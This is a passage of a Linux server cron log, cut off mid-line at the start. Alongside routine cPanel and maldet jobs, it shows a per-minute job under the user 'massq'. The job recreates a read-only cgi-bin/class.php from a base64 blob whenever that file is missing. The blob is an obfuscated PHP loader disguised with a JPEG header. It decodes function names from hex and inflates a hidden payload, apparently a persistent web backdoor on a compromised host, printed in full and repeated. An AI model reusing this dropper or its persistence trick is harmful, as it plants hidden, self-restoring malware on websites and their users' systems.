uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:58:01 server CROND[1691]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:59:01 server CROND[1769]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:00:01 server CROND[1850]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 10:00:01 server CROND[1851]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 10:00:01 server CROND[1852]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 10:00:01 server CROND[1856]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:00:01 server CROND[1854]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr 10 10:01:01 server CROND[1984]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:01:01 server CROND[1985]: (root) CMD (run-parts /etc/cron.hourly)
Apr 10 10:01:01 server run-parts(/etc/cron.hourly)[1985]: starting 0anacron
Apr 10 10:01:01 server run-parts(/etc/cron.hourly)[1997]: finished 0anacron
Apr 10 10:02:01 server CROND[2065]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:03:01 server CROND[2216]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:04:01 server CROND[2291]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:05:01 server CROND[2367]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:05:01 server CROND[2368]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 10:05:01 server CROND[2369]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 10:05:01 server CROND[2370]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 10:06:01 server CROND[2495]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:07:01 server CROND[2564]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:08:01 server CROND[2640]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:09:01 server CROND[2815]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 10:09:01 server CROND[2816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:10:01 server CROND[2895]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 10:10:01 server CROND[2896]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:10:01 server CROND[2898]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 10:10:01 server CROND[2897]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
